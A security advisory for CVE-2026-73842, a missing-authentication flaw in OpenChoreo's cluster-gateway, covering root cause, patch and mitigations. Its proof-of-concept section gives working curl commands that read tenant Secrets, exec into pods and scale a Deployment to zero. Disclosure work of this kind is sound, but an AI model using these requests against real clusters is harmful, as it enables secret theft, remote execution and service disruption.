critical · 9CVE-2026-73842Sep 4, 2026

CVE-2026-73842: OpenChoreo cluster-gateway Missing Authentication on Internal Proxy

Rohit Hatagale
AI Security Researcher, SecureLayer7

OpenChoreo's cluster-gateway exposed its internal Kubernetes proxy, exec, and log-streaming APIs to any network-reachable caller with no authentication, letting an attacker read tenant Secrets and…

Packagegithub.com/openchoreo/openchoreo
Ecosystemgo
Affected< 1.0.3
Fixed in1.0.3
CVE-2026-73842: OpenChoreo cluster-gateway Missing Authentication on Internal Proxy

The problem

The internal/cluster-gateway/server.go file registered /api/proxy/, /api/exec/, and /api/wirelogs/ on the same listener used for agent connections, with no client certificate or token check.

Any caller able to reach that listener could proxy the full data-plane Kubernetes API, read Secrets in any tenant namespace (only kube-system was blocked client-side, not server-side), create or delete workloads, and exec into pods. Because the gateway has privileged access to every connected data plane, a single unauthenticated request had blast radius across the entire multi-cluster fleet.

Proof of concept

A working proof-of-concept for CVE-2026-73842 in github.com/openchoreo/openchoreo, with the exact payload below.

bash
# Derived from the patch diff: pre-patch, the internal listener accepted plain TLS with no client certificate.
# Replace GW_HOST:8443 with the reachable cluster-gateway address and TARGET_NS with a tenant namespace.

# 1. Read all Secrets in a tenant namespace (Secret disclosure)
curl -sk https://GW_HOST:8443/api/proxy/api/v1/namespaces/TARGET_NS/secrets

# 2. Exec into a running pod (remote command execution)
curl -sk -X POST \
  'https://GW_HOST:8443/api/exec/TARGET_NS/TARGET_POD/TARGET_CONTAINER?command=id&stdin=false&stdout=true&stderr=true'

# 3. Mutate a Deployment (workload tampering)
curl -sk -X PATCH \
  -H 'Content-Type: application/strategic-merge-patch+json' \
  -d '{"spec":{"replicas":0}}' \
  https://GW_HOST:8443/api/proxy/apis/apps/v1/namespaces/TARGET_NS/deployments/TARGET_DEPLOY

The root cause is a complete absence of caller authentication on the internal management listener (CWE-306, CWE-862). The patch (PR #4256, commit 50fcae3f) adds a dedicated internal CA (cluster-gateway-internal-ca) separate from the agent CA, moves the internal API to port :8444, and enforces mTLS: callers must present a certificate signed by that CA or the TLS handshake is rejected outright.

The port separation (:8443 for agents, :8444 for internal APIs) also means the externally published cluster-gateway-external Service now only exposes the agent port, so the internal API surface can never be reached from outside the control plane cluster regardless of NetworkPolicy.

Pre-patch, only a client-side kube-system namespace block existed in the client library, not the server, so any caller bypassing the client library could read kube-system Secrets too. This flaw also removed the only compensating control for the related cross-project authorization bypass (GHSA-52gf-6rpq-fgmx).

The fix

Upgrade to 1.0.3 (1.0.x), 1.1.3 (1.1.x), or 1.2.0 (1.2.x). The fix enforces mTLS on the internal listener via clusterGateway.internalMtls.enabled=true (on by default in 1.0.3+). If immediate upgrade is impossible, restrict network access to the cluster-gateway port with a Kubernetes NetworkPolicy that allows connections only from the openchoreo-api and controller-manager pods in the control plane namespace.

Reported by yashodgayashan (Yashod Gayashan).

References: [1][2][3][4][5][6]

Related research